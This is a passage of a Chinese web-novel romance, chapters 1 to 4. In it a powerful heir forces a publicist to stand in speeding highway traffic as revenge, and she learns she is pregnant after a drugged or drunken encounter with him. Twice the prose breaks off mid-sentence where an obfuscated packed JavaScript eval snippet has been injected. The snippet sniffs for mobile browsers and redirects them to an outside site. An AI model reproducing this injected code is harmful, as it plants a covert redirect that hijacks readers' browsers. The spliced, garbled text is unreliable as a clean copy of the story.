《伪月光[带球跑]》 1. 第 1 章 喻梨开车时把一辆七位数的迈巴赫给撞了。 撞了就撞了,但那天她开的不是自己的车,是陆哲的,迈巴赫的车牌号也挺特别的,喻梨认得是太子爷沈砚。 沈砚这人不好惹,仗着皮囊英俊,明面上端的是谪仙一般正人君子、清心寡欲的范儿,但私下里都知道他年纪轻轻掌握沈家大半财富,生意场上出了名的心狠手辣,心眼子比蜂窝还多,又通常冷酷不近人情。 他对喻梨有点‘特别’。 特别到什么地步呢,喻梨每次觉得他这样一个抬抬手都是几十亿生意的大人物是不该跟她这样一个小公关计较的,但从很久开始,沈砚真的是处处针对她,有好几次差点儿真的弄死她。 不是床上那种‘弄死’,她跟沈砚还没那么香艳。 就真的是毁她事业,随时想要她小命那种。 一个男的通常不会特别讨厌一个女的,男人没有女人那么多弯弯绕绕的心思,尤其是对长得还算不错的女的,通常抬抬手就放过了,喻梨长得像她妈,浑身上下都是那股子娇娇媚媚的绿茶气,绿茶靠的是姿色,喻梨典型的有姿有色,因此在公关界混得风生水起。 但是沈砚对喻梨的厌恶,是骨子里的,从来不加掩饰,看她的眼神宛如个垃圾,以至于圈子里人尽皆知,但凡有沈砚的场合,是从来不会放喻梨进去的。 喻梨那天撞上沈砚也是意外。 南家千金南佳音下个月举行世纪大婚礼,婚礼前夕,未婚夫许池爆出跟直播小网红的丑闻,南佳音为了提前拿捏丈夫的把柄,约喻梨公关处理。 地点是一家庄园。 喻梨口若悬河的把南佳音这只小白兔忽悠得差不多,要签公关合约的时候,沈砚忽然横插一脚。 南佳音也就比沈砚小个四五岁,但是喊沈砚一声‘表舅舅’,喊得战战兢兢,娇娇糯糯,生怕沈砚看出她干得荒唐事。 可沈砚又不是那么好骗的。 反正合约最终是被搅黄,搅黄就算了,沈砚还皱着眉头,叫来庄园经理,问这里是不是改规矩了,怎么什么阿猫阿狗都可以进来推销保险了? 伤害性不大,侮辱性很强! 而且按道理,是喻梨先来的,但在沈砚权势面前,从来没有所谓的先来后到,喻梨这样无权无势的小人物,说扔也就被扔出去了。 她再气不过,也是徒劳。 然后,过了没半个小时,她就把沈砚的车给撞了。 其实,撞完她完全不用跑,老老实实下车赔礼道歉,说不定沈砚还能放她一码。 但喻梨那天脑子就是有点犯轴,也不知道哪里忽然上来的小脾气,撞完她就飞快的倒车,打方向盘,擦着沈砚停下来的迈巴赫而过,然后急速飞驰,只潇洒的留给车主一屁股尾气。 车是陆哲的,就算沈砚记下车牌,找的也是陆哲。 她实在是厌烦了沈砚那副高高在上,哪儿哪儿都跟她过不去那套了! 所以说句实话,撞他车的那一下,她还挺爽的。 但是也就爽了不到两分钟,后视镜里,沈砚那辆迈巴赫居然风驰电掣的追上来。 这跟预想的不一样,沈砚爱车如命,被撞了居然不第一时间处理,反而疯狗一样追她。 喻梨跟陆哲学过飙车,这会儿也不管了,被沈砚当场捉住可不好玩,立刻加大马力。 身后沈砚步步紧逼,喻梨拐了好几个弯,最终被追上郊外宽敞的省道公路,沈砚棋高一筹,不要命地玩了个漂移,也不管附近有没有车辆,横在喻梨的路虎面前。 喻梨差点儿没撞上去,在距离对方车身一米左右的距离踩下急刹,被对方逼停,可谓生死时速,粉嫩的小脸都吓白了。 她握着方向盘,喘着粗气,因为差点出车祸,整个人都被吓得有点发抖,沉浸在劫后余生的惊恐中。 而对面,沈砚推门下车,满身寒气几步到她车窗前,他副驾驶还坐着一个南佳音,南佳音估计受不了他玩漂移,车一停,就推门,去路边呕吐。 “开门!”沈砚敲了一下车窗,喻梨听不见,只能看见他嘴型。 她锁着车门,不敢下车,沈砚拉不开。 喻梨觉得沈砚平日里一副道貌岸然的温和模样,惹急了,黑眸寒光乍现,浑身都是张扬的痞气,跟要吃人似的。 她这才想起,沈砚当初被扔去部队练过两三年,也就这几年做生意,练就了一副笑面虎不动如山的模样,她才觉得他好惹,脑子抽筋要去图一时气顺,撞他的车。 不能想,越想越傻逼,想哭…… 手机震动,是南佳音将自己的手机递给沈砚,拨通了她的号码,喻梨有些哆哆嗦嗦的接起来,就听沈砚道:“喻梨,你要跟我玩儿,我今儿就陪你玩到底,我给你三秒钟时间,你要是不下车,我今天连人带车把你了结在这里你信不信!” 喻梨的小脾气来得快去得也快,怂得更快,浑身抖得跟糠筛似的,嗓音被吓唬得软软的:“那……那你保证,我……我开车门,你不准动手。”夹着几声哭腔,听着真跟快哭了似的。 “你觉得你有资格跟我谈条件?”没见过怂这么快的,沈砚嗤笑一声,压根儿不吃她那套,在车窗外冷笑着盯着她。 喻梨就不敢说话了,吸了吸鼻尖。 她还是怯怯,但被沈砚威胁,又不敢不开,脑子里忽然灵光一显,想起包里的‘小玩意儿’。 喻梨摸到包包,把包里的验孕棒拿出来。 然后眼睛一闭,只降下车窗,伸手猛得将验孕棒戳到沈砚面前:“我姐怀孕了,沈砚你要是追我姐,必须对她负责,这消息是我告诉你的,你放我一码。” 果然,沈砚俊脸一怔,瞳孔微缩,盯着那根验孕棒,神色微妙。 他身旁南佳音也震惊得说不出话,看看喻梨手上的验孕棒,又看看自己的表舅舅:“……” 喻梨的姐姐叫蒋静姝,是个三线小花。 蒋静姝姓蒋,喻梨姓喻,两个人是半路组合的家庭,从喻梨妈妈嫁进蒋家开始,两姐妹就没消停过,斗得鸡飞狗跳。 说完话,喻梨心里还有点打鼓。 她之所以认出沈砚这部车,还是因为沈砚最近追求蒋静姝,亲自开车送她回过一次蒋家。 其实她也不知道沈砚跟蒋静姝进展到那一步了,但是成年男女,沈砚追了蒋静姝两个多月,不可能纯洁得就牵牵小手吧。 而且蒋静姝对沈砚也不是没那层意思。 两个人双向奔赴,没发生点儿什么几乎不可能。 退一万步讲,就算真没那啥啥啥的,沈砚正在追求蒋静姝,知道蒋静姝怀孕,也能打他一个措手不及…… 喻梨脑子转得飞快,想到这里,胆子也大了点,赶紧认错示弱套近乎:“对不起,姐夫,我真不是故意撞您那一下的,就是不小心刮到,我当时就……就是害怕,没多想,就想跑来着……那我也惹不起您,呜呜……”眼泪没挤出来,但象征性抽噎了两声,显得可怜巴巴。 她声音天生带了一股媚意,好像就是不会好好说话,茶里茶气的,搁别的懂点风情的男人,早就心软了。 但沈砚从来不是什么‘别人’。 他俯下身,喉结凸出,下颌线凌厉,看喻梨的表情里冷酷中带着一丝厌恶:“喻梨,你觉得我信你逃跑这套,我看你跟我飙车飚了一路,玩得倒是挺开心的,嗯?”嗓音阴寒。 喻梨背脊发凉,她确实是跟陆哲学过飙车来着,刚才被沈砚疯狗似的追着,下意识就飚着要逃跑。 但这会儿落到沈砚手心里,她也只有不断示弱的份儿:“那……人逃跑的时候就,就也想不到那么多,我这不是逃命吗……”掐着嗓音,越发显得人娇滴滴的。 沈砚就笑了一下,一手撑着车窗,一手握住了喻梨的小下巴,他说:“别跟我撒娇,你跟别的男人用这套可能管用,可咱俩什么关系,你是不是不记得当年被你霸凌的方苒?” 喻梨浑身打了个哆嗦。 方苒是跳楼死的,死的时候才18岁,于是活成了沈砚心中永远的白月光。 沈砚处处针对她,针对了这么多年,倒也不是没有缘由。 她没说话。 沈砚于是冷了脸,丢开她下颌。 “下车!”已经是命令。 喻梨于是不撒娇卖乖了,解了锁,乖乖下车。 沈砚抬手看了一下手腕上的名表,靠着她的路虎,姿态散漫,看她的目光却格外残忍:“你既然喜欢撞我车,那索性今天玩点儿刺激的,站路中间去,五分钟,五分钟内你没被撞,我就放过你,不计较你这事了,怎么样?” 是下班晚高峰。 喻梨被沈砚逼停在公路的紧急通道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640689|156411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而靠近绿化带的三条主干道车辆已经越来越多,因为道路通畅,车速也非常快,基本都在120码左右。 喻梨看一眼迅猛的车流,小脸血色褪去,白得有些可怜。 南佳音知道表舅舅似乎不太喜欢喻梨,但没想到是这么的‘不喜欢’,忍不住拽了一眼沈砚衣袖:“表舅舅,是不是有点过了?别闹出人命。” 但沈砚只淡淡瞥了她一眼,她就闭嘴,不敢再说话。 “站不站?”沈砚从兜里掏出打火机,拢手点了根烟,晚风把他的衬衫吹得微微鼓胀,完全没有平日道貌岸然的温润模样,带着一丝成熟的痞气,舌尖顶了一下腮帮,“不站也行,你知道我有的是办法收拾你,嗯?” 喻梨听懂他意思。 她不站,那就等着他白刀子进红刀子出,以后慢慢折磨她,他有的手段,碾死她跟碾死一只蚂蚁没区别。 她要是站了,顺了他心意,事情就此揭过,他不会再跟她计较。 喻梨垂眸想了想,低低的说了声:“那你说话算数。” 她不想被他慢慢折磨,倒不如一次痛快了。 沈砚轻哧了一声,薄唇咬着烟头,侧脸线条凌厉,显出独有的凉薄,没搭理她。 但喻梨知道,这算是默认的意思。 喻梨就走进车流,脚步很快,一点儿看不出刚才的楚楚可怜的娇弱。 初春,她穿了一件白色丝绸衬衫搭配杏色的褶皱长裙,外套是浅灰色的西装,衬衫口解开两颗,锁骨白皙精致,人瘦,腰一掐就断似的,站在车流里,稍微一不注意,就能被碾得飞起。 耳边是车流飞驰的、车胎摩擦马路的声响。 间或的夹杂着几声怒骂:“傻逼!边儿去!” “要死死一边,别TM祸害人!” “草尼玛的!有病啊!” 喇叭声、怒骂声、声声刺耳。 喻梨闭着眼睛,站在飞速的车流里,小身板抖得跟棵狂风暴雨里的小树苗似的,仿佛随时能倒下去。 有一瞬间,她甚至觉得死亡逼近,在那种静谧般的黑暗里,周围的声音都听不见,她出现幻觉,看见18岁的方苒,清纯柔弱,她叫她:“喻梨……” “喻梨!”是不想闹出认命的南佳音在叫她,“可以了,喻梨,五分钟够了!快回来!” 隔着飞速的车流,听得不真切,但喻梨看见她的嘴型。 熬过去了!喻梨想,然后软着腿,不知道怎么走回的紧急通道。 沈砚手上已经只剩烟头,他随手扔掉,在喻梨差点因为腿软倒下时扶住她。 一只大手握着她细瘦的腰肢,薄唇贴着喻梨的耳畔,姿态亲昵得仿佛跟她有一腿似的,但说出的话却让人不寒而栗:“这种惊恐,跟你们当初霸凌方苒的感觉是不是很像,方苒当初遭受的,你也尝尝,嗯?” 喻梨眼神里没有任何情绪,虚弱地看他一眼。 沈砚放开她,抬腿就走。 南佳音看她实在可怜,抽空递了瓶水塞进她手心里,小声的:“我表舅舅平时不这样,今天你就是触到他逆鳞,也怪我多嘴,刚才车上提什么不好,提起初恋,你下次别惹他了。” “沈砚……”喻梨没接,只是隔开她,叫了一声。 沈砚脚步一顿,她其实已经没敢直呼过他名字,成年后都只客气的称呼他一句沈先生。 高挑的男人在车流里回头。 喻梨站在夜风里,身形单薄,风把她群裾吹得微微扬起,她很瘦,看起来像是被风能吹走了似的,沈砚不知道为什么,在那一刻微微眯了眯眼,有种心悸的感觉。 她歪着脑袋,忽然很认真的问他:‘你要当爸爸了,你高兴吗?’ 沈砚皱了皱眉头,以为她又在耍什么花样,懒得搭理她,头也不回地抬腿上车。 只剩南佳音的八卦之火熊熊燃起:“真的假的,你姐真怀了我表舅舅的……” 迈巴赫不耐烦的按了一下喇叭,南佳音不敢再问,将那瓶水塞进喻梨手心里,赶紧跑回车上。 剩单薄的喻梨垂眸盯着那瓶水看了很久…… 南佳音看一眼开车的表舅舅,再看一眼后视镜里垂着脑袋站着一动不动的喻梨,她虽然讨厌这只落地凤凰,但想起很多年以前,喻梨不要脸的追求她表舅舅的样子,还是觉得唏嘘…… 2. 第 2 章 喻梨刚把车停在陆哲酒吧附近的停车场,就接到蒋静姝的电话。 蒋静姝气急败坏的:“喻梨,你疯了吗,凭什么在沈砚面前造谣我怀孕!” “我只是如数奉还而已,就像你在姜北面前造谣我钓男人一样,怎么,就你高贵冷艳,容不得别人染指,我就活该被你在外面到处说我私生活混乱?” 蒋静姝哑了一下,声音有些不自在:“不知道你在胡说什么……” 喻梨冷笑一声,按下车锁,踩着高跟鞋往餐厅门口走,她说:“蒋静姝,你以前编排我点儿什么,我懒得跟你计较,但是不该在姜北面前造谣我,你明知道我们是男女朋友关系,却偏偏要去挑拨,你既然挑拨了,就要承受挑拨的代价!” 蒋静姝大概是被她刺激到,声音也很难听:“你觉得就你这通胡说八道,扯些影子都没有的事,沈砚会信你?不过就是显得你更小人,惹人厌而已。” “信不信我的没关系,我跟他可没什么关系,我管那么多。”喻梨轻飘飘的。 蒋静姝大概是气极了:“喻梨你就是个疯子,做什么事都不管不顾的。你觉得姜北要真信你,能受我挑拨,你少揣着明白装糊涂,他但凡真心喜欢你,就不会信我的话。” 这次轮到喻梨卡壳,她没说话,直接挂断电话。 喻梨心烦,在陆哲的吧台里胡乱点了点吃的,又要了一瓶自己存的酒。 陆老板周旋了一圈回来,坐她旁边,见她满身低气压:“怎么了,跟南家那个傻白甜没谈拢。” 喻梨就说:“没,被人横插一脚,黄了。” “谁?”陆哲晃了晃红酒。 “沈砚。” “那你可真够倒霉的。”陆哲幸灾乐祸。 喻梨口吻平常:“还不止,我把他撞了!” “那值得庆祝,老子早看不惯沈砚那装逼范儿,你这叫为民除害,撞得贼几把好!”陆哲还挺乐呵的。 喻梨就觉得这傻逼肯定没反应过来。 果然,陆哲抿完一口酒,嗓音忽然拔高:“你TM开老子车撞的?” 惹得隔壁客人都纷纷把目光投过来。 陆哲就憋着气,敛声。 喻梨表情淡淡,回给他一个无辜的眼神,要不说长得好看,占便宜呢,这姑娘一张小脸在灯光下瓷白细腻,一双眼生得跟猫似的,潋滟又动人,让人不忍心责骂。 “老子就知道这辈子遇到你就没什么好事,喻梨,你知不知道这车跟着我风里来雨里去,是老子至亲至爱的兄弟!”陆哲压低了嗓音,一字一句憋着吼她。 喻梨眨了一下眼睛,有些温吞的安慰他:“可你想象一下,你100多万的路虎,撞了600多万的迈巴赫,一点儿伤都没有,还给迈巴赫撞了个坑,是不是你‘兄弟’要牛逼点儿,而且你以后贴个牌子,就写撞过沈砚的,你兄弟算不算‘战功赫赫’。” 陆哲向来被她忽悠惯了,一时竟然觉得十分有道理,又狐疑看她:“真没撞坏?” “要撞坏了,我还能好好坐这儿跟你喘气?” “也是,沈砚怎么可能放过你。” 喻梨想起刚才站在车流里的惊恐,依然有点害怕,手微微发抖,眼底情绪黯淡。 隔了会儿,陆哲想起什么:“姜北那孙子出轨,你打算怎么处理?” “没想好,拖着吧,反正我在他那儿怎么摔的,就得挖个坑,怎么礼貌地把他给埋了。”喻梨说得没什么感情,仿佛知道姜北出轨时,哭得撕心裂肺的人不是她。 陆哲乐了,忍不住捏捏她脸颊:“老子怎么就喜欢你这睚眦必报、狠毒小气的黑莲花劲儿?” “说明你心理变态,去挂个号吧。”喻梨没什么情绪的说,把最后一点酒喝完,“走了。” “不再坐会儿?” “不了,累,明天还有事,要早睡早起。” “你一天天的,弄个小破公关公司跟玩儿似的,能有什么要早睡早起的事儿。” “挂号”喻梨转身时说了一个口型。 陆哲正巧有电话进来,只留意到她走出的背影,也就看不到她嘴型,也听不见她什么说。 喻梨的宝马坏了,拿去4S店修理,这才借了陆哲的路虎,这会儿在酒吧门口打了一辆专车。 夜色迷离,街灯把城市笼罩在一层活色生香的喧嚣里。 她带着微醺的醉意,脑袋靠着车窗,想起一个多月前,也是这样的夜晚。 姜北是她男友,姜家私生子,平时挺嚣张跋扈一人,动不动跟喜欢跟人装逼,跟她表白的时候,却跟二傻子似的,红着耳根,透着股二哈的蠢萌劲儿。 喻梨就是因为他微红的耳根心软的,以为自己捡到什么稀罕的纯情大狗狗,被姜北的甜言蜜语哄着,又觉得两个人,一个落魄千金,一个私生子,也算门当户对,着了他的道,陷进去了。 一个月前,喻梨出差回来发现姜北睡了小模特。 那天是姜北生日,喻梨本来是想哄他,赶回来替他过生日的。 却在酒吧门楼亲眼看见他搂着长腿模特上了豪车。 “我差点儿真以为姜北要为喻梨那小婊子斋戒吃素了。” 喻梨拖着行李站在酒吧门口吹冷风,听见他朋友说。 “吃个屁的素,也就喻梨看得紧,人一走,姜北还不是该干嘛干嘛。”他另一个朋友嬉笑了一声,怀里搂着个差不多的妹子,还捏了捏妹子的下巴,“走呗,咱也乐乐去。” “不是说喻梨挺骚的吗,一小破公关公司弄得风生水起,怎么今天听姜北抱怨了半天,似乎连口肉都没吃上。” “钓着呗,喻梨那小婊子的手段,估计跟她妈学的吧,真以为全天下男人都是笨蛋,小北就是不服那口气,想睡了再分,不然还真傻得跟她结婚啊……” 喻梨这人吧,心思沉,没有立刻上去跟姜北撕,而是偷偷查看了姜北的微信。 查完发现姜北为了她还是憋了一两个月的,但一个月前,蒋静姝不断地发喻梨的一些消息给他,影影绰绰的暗示喻梨靠男人上位,当个公关全国跑,到处勾人,浪得一批。 姜北真信了,回的是:“那骚货碰都不让我碰,却在外面跟别人勾勾搭搭,贱不贱!” 喻梨后来觉得自己是挺贱的,喜欢姜北那么一世纪大傻逼,还TM是跟烂黄瓜。 但她想先收拾蒋静姝,姜北一个连微信用电脑登录都不会注意到的蠢货,还不配她直接撕,她要慢慢弄死他。 喻梨那几天实在是太生气了,去酒店找蒋静姝时喝光了一瓶自己在陆哲那儿存的酒。 她是拧着空酒瓶去的,酒精让人上头,当时满脑子想的是:今天不撕烂蒋静姝那个小贱人的嘴,她以后就不在这个圈子混了。 但开门的不是蒋静姝。 沈砚大手捞过她的腰,把她压在门板上亲的时候,她整个人都是懵的。 后来回想起来,沈砚那天也表现得不大正常,跟TM被人下药了似的。 喻梨只挣扎了几下,就楼住了沈砚的脖子,主动送上自己的唇, 她脑子迷迷糊糊的,酒精的作用下,想起那天沈砚送蒋静姝回来时,蒋静姝眼底那抹欲拒还迎的娇羞。 蒋静姝不是老说她乱搞吗,那她就搞给她看看! 喻梨光是想一想,身体里的血液就沸腾了,那一瞬间,她隐约觉得自己可能真的遗传了徐凤芝身上的某些东西,丑恶的,卑劣的,又下贱又令人着迷堕落的…… 但沈砚进入她的时候,喻梨就后悔了,她疼得一阵紧缩,沈砚还拍了拍她屁股,一双眼睛被欲望染得通红,薄唇咬着她耳朵,连声音都带着满满的色欲:“放松,没被人弄过?” 她没见过端正禁欲的沈砚那副样子…… 喻梨羞得无地自容。 她连怎么结束的都不知道,反正感觉浑身都被人碾压了一遍,又疼又酸。 第二天醒的时候,床边的 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“太子爷前晚上下榻我们酒店,昨天下午离开的时候,据客服经理说,脸色差得要命。今天早上,他手底下的人来找我们查监控,想知道前晚上是谁进了他房间,目前知道这事的人全部签了保密协议,姐妹儿,我TM查监控看到你的时候,我都吓傻了!” 喻梨有点慌:“你们酒店还有监控?你们酒店这么不尊重客人隐私的吗!” “是楼层监控,但是那个时间点,除了你,没别人了!” 喻梨:“.……我现在花点钱把监控买下来还来得及吗?” “还用你说,我早就删除了,对外称监控损坏。你怎么得罪沈砚了,把人睡了?看不出来啊,小梨子,你心还挺大。” “这事儿让第二个人知道,咱俩就互删吧。我不说废话了,你上次看的那个包,姐妹儿我给你报销了。” “算你还懂事。” 喻梨好容易松一口气。 后来偷偷打听,沈砚那天晚上参加子公司旗下一部电影的杀青宴,期间确实可能被人下药下懵了,根本不记得睡了谁,但被人下药这事,显然折了他沈太子爷的面子,满城的查那晚上进他房间的女人是谁。 喻梨光是想想沈砚的手段,就心惊胆战,连跟姜北分手的苗头都不敢有,就怕被人查出点什么,忍着恶心继续跟姜北虚与委蛇,打算等风头过了再慢慢收拾男朋友。 但她在男女之事上,显然经验不足,为了躲姜北,她借口工作,忙了一个多月,直到接到南佳音这个活儿。 昨天忽然恍惚的觉得姨妈不大正常,而那天沈砚没戴套,喻梨头半个月心情跟坐云霄飞车似的,刺激忐忑,压根儿忘了吃事后药。 于是在网上下单了验孕棒。 她怕不准,还多买了一支。 结果十分糟糕,是那种喻梨恨不得给自己两耳光的糟糕,两支都显示,她是中招了! 所以想撞死沈砚的念头,实在算不上心血来潮,喻梨被他赶出庄园后,就守住待兔地等着,一等迈巴赫出现,就撞上去,但撞到一半,还是怂了跑路。 最后被沈砚教训一顿,也算活该。 喻梨抓着被子想,睡得并不安稳,做了很多乱七八糟的梦,关于方苒、沈砚、蒋静姝、还有傻逼姜北…… 第二天她顶着黑眼圈,戴着口罩,低调的出现在一家公立医院的妇产科。 检查结果跟验孕棒验出来的没什么区别。 喻梨的态度明确:“我什么时候可以预约流产手术?” 妇产科医生看她一眼,有些犹豫:“喻小姐,您是RH阴性血型?” “嗯。”喻梨点了一下头。 “这是特殊血型,如果您不要这个孩子,将来在怀孕的话母婴会血型不合,新生儿溶血的比率很高。” “这是……什么意思?”喻梨表情缓缓裂开,连声音都有点抖。 “意思是您要是这胎不要,以后恐怕很难生育。” “您要不要认真考虑一下?” 喻梨变了脸色。 3. 第 3 章 骨子里,喻梨挺自私的,这一点倒是跟她妈妈徐女士很像。 喻梨爸爸出事不到一个月,徐女士就火速跟入狱的丈夫撇清关系,转头嫁给了风度翩翩的富豪蒋然,组成新家庭。 很有点黑寡妇风范,有传言说徐女士是带着前任丈夫的秘密资金嫁入蒋家,但谁都没有证据,事实是徐女士确实很有手腕,这几年扶持蒋然事业,琴瑟和鸣,把蒋然治得服服帖帖,在圈子里,谁敢不给她几分薄面。 至少谁也不敢在她面前提起她那位锒铛入狱的前夫。 知道手术会很有可能导致她以后很难生育的时候,喻梨就把这个想法完全的摒弃了,以她的经济条件养活个孩子不是问题,她以后还要正常组成家庭的,比起带着个孩子,社会上的男性往往更介意女方无法生育。 想到这里,喻梨不禁心事重重,走出科室不远,不小心跟人撞到,手提包跟化验单被摔了一地。 “抱歉。”穿白大褂的医生弯腰帮忙收捡,修长白皙的手指在孕检单上停留片刻,顿住。 喻梨已经迅速抢过来,抬眸一看,居然是沈廷屹。 这人一身干净的白,气质是独特的清隽冷贵,身上带着淡淡消毒水味道。 沈廷屹一眼认出她:“喻梨。” 喻梨闭了闭眼,很想冷冷告知对方认错,毕竟她现在最不想见到的就是跟沈砚相关的人。 沈廷屹是沈砚本家的,是他堂弟,喻梨早就隐约听闻他当了医生,但是不知道他没在沈氏旗下的私立医院,反而在公立。 更为棘手的是,沈廷屹半年前似乎跟她搬到同一幢小区,还是同一栋楼,只是两个人都忙,喻梨又经常出差,两个人大半年里,只碰面过一两次而已。 喻梨勉强扯出一个尴尬笑容:“原来你在这家医院。” “嗯,我在儿科。”沈廷屹单手插进兜里,语气淡然,却似乎意有所指。 喻梨就知道他肯定是看到了,她觉得自己最近可能水逆,千挑万选了一家医院,却撞到了沈廷屹手里。 “哦,那你先忙。”喻梨紧张得拼命想躲,说完就溜了。 走到一半,她有些不甘地咬了一下唇瓣,又忍不住折返,小跑几步拽住已经转身的沈廷屹。 那个动作其实是十分唐突的,因此沈廷屹皱着清隽的眉看一眼被她拽着的地方。 沈廷屹有一张跟沈砚颇为相似的俊脸,但他五官偏柔和,气质更温润,有一双跟沈砚的凌厉冷漠截然不同的更柔和的眼睛。 喻梨咬牙,小心翼翼的跟他确认:“沈医生,你应该不是那种喜欢管闲事,到处传八卦讨论别人私事的类型对吗?” 沈廷屹比喻梨高出一截,垂着漆黑的睫毛看着她,喻梨小脸白皙,从他的角度看过去,可以清晰看到她眼角的几粒雀斑,软下语调求人的时候,总能给人一种可怜兮兮的小动物般的错觉。 但他深知,这位喻小姐,年少时就骄矜荒唐,追沈砚那几年更是不管不顾,轰轰烈烈,如今跟陆家少爷厮混在在一起,行事做派依然是我行我素,有恃无恐,怎么都不应该跟‘可怜兮兮’几个字联系在一起。 好在他确实不是多管闲事的性格,神色寡淡的应付道:“嗯。” 喻梨提起的肩膀终于松懈下来。 她从医院出来,4S店给她打电话,提醒她可以去取她维修好的宝马。 道路偏窄,喻梨取出来的宝马车跟沈砚的车冤家路窄、狭路相逢、进退维谷。 有了昨天的教训,她倒也不敢再去老虎头上拔毛,但是只要想起自己包里那张令她心烦意乱的孕检单,她再看沈砚,胸口就吊着一口气,上不去也下不来。 沈砚坐后排,这次前面有司机,他降下车窗,金丝镜片后的双眼阴鹜,不留情面道:“喻梨,昨天的教训还没吃够?” 喻梨想,怎么不够,简直太够了。 她心绪复杂,总觉得到如今的处境,不该由她一人买单,还是忍不住小心试探:“沈先生,如果你的生活发生意外,我说的意外不一定是特别差的,就是那种……也有可能是好的,你会接受吗?” 喻梨不知道怎么形容,描述得有些模糊,大约还是存了一丝希望,语气有跟他打商量般的伏低做小。 沈砚摘下眼镜,拿着镜布擦拭镜片,慢条斯理动作,口吻一如既往的阴蛰:“我这个人一向不喜欢什么意外,方苒走了这么多年,而你还在我面前蹦跶,已经是很大的意外了,你说呢?” 喻梨心下一跳,不敢再多说什么,果断倒车,把路让开。 沈砚的豪车疾驰而去,喻梨从后视镜里看了一眼,不知道是不是被汽车溅起的灰尘呛到,眼眶泛微微泛红。 但她很快将那丝酸涩逼回去,收回目光。 南佳音是个小喇叭,那天从喻梨口中听到沈砚与蒋静姝的八卦,还没到晚上,已经传入沈太太耳朵里。 虽然事情很快发现是乌龙,纯属喻梨胡编乱造,但是沈砚自从那年为了一个方苒‘疯’了几年,至今身边没个像样的女友,难得传出绯闻,沈太太还是高兴的,偷偷招来小辈南佳音到家里喝茶。 沈家老宅是座旧宅,南佳音幼时过来,总要迷路,又隐约觉得森严恐怖,是很抗拒的,好在后来翻修,请的国际知名设计师,确实很有才干,既保留了老宅的古风旧韵,又迎合当下审美,白墙黛檐,错落有致,叠山理水,各有章法,是南佳音这种级别的名媛,有幸偶尔在这里品茶,也忍不住会想先发个朋友圈的程度。 庭院里,沈太太见她孩子气的拍照,也不介意,寒暄几句后,进入正题,打听起蒋静姝。 南佳音一边修照片,一边大咧咧的跟这位姑婆聊天:“就是那个蒋静姝啊,家里做商超的,是个流量明星吧。” “这么说,有照片了。”沈太太抿了口茶,对小辈的态度倒也温和。 “我给您找找啊姑婆。”南佳音就没什么心眼的将蒋静姝的社交账号翻出来,凑到沈太太跟前,“喏,这个是她,演过几部大制作吧,但是都是女三女四,综艺节目也参加几次,没什么太大水花。” 沈太太只看了几张照片,越看越忍不住微微皱眉,但面上不显,至少不会轻易让南佳音看出来。 “应该整形过,鼻子跟下颌都挺明显的,比不上姑婆您年轻时的十分之一呢。”南佳音跟蒋静姝没什么过节,但她总觉得她沈砚表舅舅那样的,应该配个更好的。 沈太太笑笑:“就你嘴巴甜。” 关于蒋静姝的话题,却不再多问一句,但明明今天她招南佳音过来,是特意为了打听蒋静姝。 也没留南佳音吃饭。 南佳音心里觉得奇怪,但她识趣,找了个借口,乖乖告辞。 人一走,沈太太让佣人收了茶具,眉头皱得很紧,打电话给大女儿沈清。 “我不同意!” “你弟弟是昏了头了!” “那个蒋静姝眉眼间跟当初那个叫‘方苒’的简直一个模子。” 电话那端,沈清不知道安慰了她什么,好不容易,沈太太的眉间的郁色才平缓下去。 沈清挂完电话,回头看了一眼坐在露天咖啡馆,跟自家宝宝大眼瞪小眼的喻梨。 她下午带儿子购物,在品牌店一眼就认出多年不见的喻梨。 沈清年轻时拼事业,多年前被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“沈清是沈清姐,沈砚是沈砚,我分得清的。”喻梨垂下眼帘,淡淡道。 沈清看她回答得滴水不漏,显然不愿意再提及此事,心理叹口气,岔开话题:“对了,听说你现在自己经营一家公关公司,有名片吗?” “跟朋友开着玩玩的,很小。”喻梨并不觉得有给沈清名片的必要,沈清好多年前,手上过的就是上亿的大生意。 但沈清目光坚持,喻梨就还是谦虚的递了一张名片过去。 “谁能想到我们的学渣小梨子,已经变成独当一面的大梨子啦。”沈清认真接过名片,扫一眼,郑重的放进名牌包里,笑着打趣。 喻梨有点脸红,沈清看她的目光,一如当年,包容和煦。 仿佛她还是那个不知天高地厚的高中生。 “小梨子……大梨子。”小朋友口齿不清的学妈妈说话。 “叫喻阿姨,要有礼貌哦。”沈清纠正自家儿子。 小朋友就眼巴巴的凑过来,奶声奶气的喊她:“喻……喻阿姨。” 猝不及防的,喻梨撞进孩童那双清澈干净的眼睛里,小家伙仿佛很喜欢她,笑得口水都流出来了。 那一刻,喻梨清晰听见自己噗通噗通的心跳声,想起肚子里那颗小黄豆,不知道真的出生的话,是不是也是这么糯米团子似的玉雪可爱。 没一会儿,沈清丈夫来接母子俩,很自然的抱出儿童座椅里的孩子。 沈清客气的问她:“送你一程?” “我车停在地下车库,就不叨扰你了,沈清姐。” 沈清并不强求,笑眯眯,“下次见,小梨子。” 喻梨走后,大约很难见到沈清这样亲近别人,丈夫忍不住同她问起喻梨。 沈清有点唏嘘:“还记得我跟你说以前有个追我弟追得特别疯狂的女孩吗,她就是小梨子,是我见过最可爱的恋爱脑。” “你要是看过她当年追阿砚的样子,也会觉得,青春真好,世界上有爱情这回事。” 说完,沈清忍不住温柔笑了。 4. 第 4 章 晚上回家,喻梨找了找,终于从犄角旮旯里找出那张皱巴巴的化验单。 她把它捋平,撑着小脸仔细看了看,再想想下午碰到的小不点儿,几日来不得其所的烦闷郁结,似乎一下就散了,隐约舒了一口气。 生就生呗,喻梨大咧咧的想。 有什么大不了的。 第二天,喻梨去公司开会。 公关公司是她跟陆哲合开的,陆哲出钱,她出力,除了每年拿分红以及给公司拉资源,撘人脉,其他的陆哲一概不怎么管。 